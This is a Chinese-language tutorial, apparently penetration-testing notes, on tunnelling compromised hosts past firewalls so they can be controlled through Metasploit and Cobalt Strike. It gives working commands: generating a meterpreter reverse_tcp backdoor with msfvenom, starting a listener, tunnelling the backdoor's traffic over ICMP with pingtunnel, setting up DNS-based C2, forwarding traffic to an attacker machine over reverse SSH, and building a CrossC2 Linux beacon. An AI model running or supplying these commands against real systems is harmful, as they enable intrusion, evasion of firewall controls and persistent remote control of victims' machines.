# 隧道技术

一文搞懂隧道技术

隧道其实就是一个穿透效果,使我们在外网的机器可以访问内网的资源,通讯是为了更隐蔽自己跳过防火墙不受防火墙限制,上线便于我们后期控制

# 常见隧道

1
2
3
4
5
6
网络层:IPV6隧道、ICMP隧道

传输层:TCP、UDP、端口转发

应用层:SSH、HTTP/S隧道、DNS隧道

# 判断出网协议

1
2
3
4
5
6
7
8
9
10
11
12
13
SMB隧道 :存在445端口开启借助端口上线

SHH隧道: 存在22端口借助端口上线

ICMP隧道: ping命令判断是否通讯

DNS隧道上线环境: 内网主机只出网DNS协议数据,解决上线

windows命令判断:nslookup
linux: dig



命令版本

SMB445 端口开放
SSH22 端口开放
ICMPping 命令
DNSwindows : nslookup linux: dig
httpcurl

# 根据出网协议搭建隧道

上线到 CS/MSF 渗透框架里面方便我们后期的控制和渗透,前提是我们提前取得了权限,但是将权限以上线的形式体现

  • 根据逐个命令判断出网协议;假设可以 ping 通代表 icmp 协议是可行的,搭建随便
  • 根据出网协议建立对应的隧道实现通讯而后上线

判断 DNS 隧道,有回显说明主机是支持 DNS 解析,它属于应用层协议,它在区域传输时用 TCP , 域名解析时用 UDP

说明 DNS 两者都有,它只是在扮演不同的角色时使用不同的协议, 所以这里的防火墙入站规则是无用的,DNS 解析使用 ** UDP ** 可以突破

1
nslookup  baidu.com

课程环境中 DNS 可以解析域名回显信息,但是访问网站却不能打开是为什么?

访问网站会将域名解析成 IP 但是将其还原为内容时进行的是区域传输,走的是 TCP 协议,
被入站规则所封杀,导致无法正常显示,但是命令走的是域名解析使用了 UPD , 可以正常的回显

# ICMP 隧道反向连接

ICMP 用于在 IP 网络中传递控制消息和错误报告属于 TCP/IP 协议族中的第三层 - 网络层协议,一般的通信协议里,如果两台设备要进行通信,肯定需要开放端口,而在 ICMP 协议下就不需要, ping 命令 走的是 ICMP 协议,防火墙一般不会屏蔽 ping 的数据包),从而实现不受限制的访问


# 封禁情况

当我们拿下一台主机后,需要 MSF 上线,如果针对防火墙设置的规则只是限制了 445 端口,再次生成木马使用 446 端口即可;

如果是对协议进行了封杀,域控通过组策略设置防火墙规则同步后,域内用户主机被限制 TCP 出网,规则为出站规则,但还可以通过入站规则取得 Shell 上线,(入站规则无限制则正向连接), 也可以继续反向采取更换隧道协议的方式

TCP 协议封杀,但是生成的木马我们可以再次更换为 UDP 传输协议,协议是向下兼容,不能往上寻找 http 协议,可以向下寻找

MSF 上线可以生成 ICMP 协议木马,使用工具进行操作 ICMP 隧道简单实用是一个比较特殊的协议,下面是 ICMP 协议工具

# 0X01 生成后门

环境搭建比较简单也是简单复现一下,策略并没用限制任何协议只是学习隧道的使用

1
2
本机windows:  IP  10.2.36.193
虚拟机 Kali: IP 192.168.65.146

生成的后门走的是 TCP 协议远程是发不出去的,所以这边的后门先走本地的 127.0.0.1, 如果 IP 不走本地那么一上线就会被防火墙的协议封杀,所以先创建在本地勾着

1
msfvenom  -p windows/x64/meterpreter/reverse_tcp lhost=127.0.0.1 lport=9999 -f exe -o demo9999.exe

# 0X02 监听开启隧道

创建后 MSF 启动监听

1
2
3
4
5
6
7
8
msfconsole    # 开启msf
use exploit/multi/handler # 创建一个监听器,等待远程主机连接并执行后续的攻击操作。
set payload windows/meterpreter/reverse_tcp # 执行Windows系统的Meterpreter反向TCP shell
set lhost 192.168.65.146 # 设置了本地主机的IP地址,即监听器将在该IP上等待远程主机的连接。也就是kali的地址
set lport 4444 # 这个命令设置了本地主机的端口号,即监听器将在该端口上等待远程主机的连接。

exploit # 启动了监听器,并等待远程主机连接。一旦远程主机连接成功,攻击者可以获得对目标系统的控制,并执行进一步的操作,如获取敏感信息、执行命令等。

Kali 开启隧道

1
./pingtunnel -type server

# 0X03 受控主机开启隧道

Win 开启隧道,将本地的 9999 端口 ICMP 协议数据转发到 Kali 地址正在受 MSF 监听的 IP + 端口上 (管理员运行)

1
2
3
4
5
6
7
8
9
                               木马生成IP         本机Win IP
pingtunnel.exe -type client -l 127.0.0.1:9999 -s 10.2.36.193 -t 192.168.65.146:4444 -tcp 1 -noprint 1 -nolog 1

工具目标结束的时候是TCP协议,数据只是发送的时候是ICMP,到了目标就还原,如果没还原那没办法上线因为它接收的Payload就是TCP协议

注意:

执行隧道.exe是需要权限的,环境是我们已经控制了一台主机,但是TCP协议因为防火墙规则不出网,所以不能上线
绕过防火墙上线使用的隧道技术是 后渗透控制手段 不是横向移动 我们已经取得了权限,但是碰到了网络问题所以需要隧道封装协议再进行上线

# DNS 隧道

内网环境

  • TCP 协议禁止出网
  • 封杀所有端口

# 通讯

DNS 通讯在 Linux 直接可以使用,开放的端口是 53, 如果是 win 则需要下载东西,建立通信也是为了上线,可以更方便的传输数据,拖取数据,但是 DNS 隧道通信意义不大,可以上线 shell 何必通信

# 上线

DNS 协议上线是需要准备一个域名,在内网中需要被解析 IP 并且需要配置阿里云 NS, 实战环境中的解析

ns1 为我们的 DNS 地址,上线时填入它,那么它就会解析到 cs.saber CS 又会解析到我们的 IP

1
2
ns1.saber.fun ----> cs.saber.com----->192.168.0.1

CS 创建监听器 Paylao 是 DNS 协议,地址写入 DNS 地址 ns1.saber.fun 并解析的地址为 cs.xiaodi.com 地址又还原成我们的 IP 地址,等于转换了

选择常见后门文件,为无状态的后门,对 CS 后门疑惑的话阅读这篇文章 后门

将后门给到受害者机器模拟点击上线 CS 但是显示是一台黑色的,我们需要输入命令让工具和 DNS 通讯等待一会就可以连接上线

1
mode dns-txt 

# SSH 隧道

内网环境

  • 防火墙设置只让 SSH 协议通信,入站封杀导致无法正向连接

SSH(Secure Shell) 是一种网络协议,用于在不安全的网络中建立安全的远程连接。它通过加密和身份验证机制,确保数据传输的机密性和完整性。SSH 协议通常用于远程登录和执行命令,也可以用于安全地传输文件和其他数据

# 跳板机 Linux 通讯 win7

SSH协议 存在与 Linux 系统中,利用 SSH 隧道需要满足两个条件

  • 取得跳板机且系统为 Linux
  • 跳板机权限为 root 权限

环境限制入站协议无法正向,但可以反向连接利用 SSH 隧道,让 Linux 主动连接攻击机,跳板机可以访问 win7 流量,主动连接攻击机后就可以将流量代出,攻击机访问 win7

入站封闭反向连接

Linux 机器执行实现通信,它为跳板机,将它访问 1.16 (win7) 8080 端口流量借助 ssh 隧道转发到攻击机 47:1234 端口,那么攻击机在本地访问 1234 端口实际上访问了 win7 8080 的端口流量实现内网信息探针,并且协议走的是 ssh 协议隧道

1
2
3
4
5
6
7
8
9
10
11
192.168.1.16 win7
47.94.236.1 攻击机


Linux为跳板执行下列命令

ssh -CfNg -R 1234:192.168.1.16:8080 root@47.94.236.17 // 47攻击机 1.16Linux受害者

攻击机执行命令,访问1234端口查看win7 8080 信息

curl http:127.0.0.1:1234

出站封闭正向连接

跳板访问内 win7 8080 端口流量在封装到本地 1122 端口,数据并没有代出只是换了端口,通过 CS 同样操作正向连接

1
2

ssh -CfNg -L 1122:192.168.1.16:8080 root@192.168.1.116

# CS 生成 Linux 后门控制

# 0X01 加载插件

Linux 被控主机反弹 shell 给 Cobalt_Strike (CS)- 详细实战笔记

CS 并没有提供 Linux 上线,我们需要借助额外的插件工具

工具

GitHub 地址

选择服务端 (Kali) 操作系统下载,客户端是我们图形化页面系统,我的服务端是运行在 Kali 的,所以我需要下载 linux

压缩包和下载的文件会有 3 个 cna 后缀为插件,开启 CS 逐步加载插件在客户端, genCrossC2.Linux 放置到服务端 Kali 目录下,加载完成菜单栏就会显示出插件版本支持

1
2
3
连接bind的TCP协议
反向连接reverse HTTPS协议

# 0X02 创建监听

使用前创建一个监听器, Payload 为 HTTPS 协议,支持插件的反向连接,地址为本地

# 0X03 生成后门

使用插件生成 Linux.out 后缀文件,各项配置需要正常,生成后会出现一条命令,直接复制在客户端执行,他就就会生成在 Linux 系统上执行上线的文件,文件给到 Linux CS.GO 上线

1
cs45/ root/cs45/genCrossC2.Linux 服务端IP 5555 ../.cobaltstrike.beacon_keys null Linux x64 t_cc2.out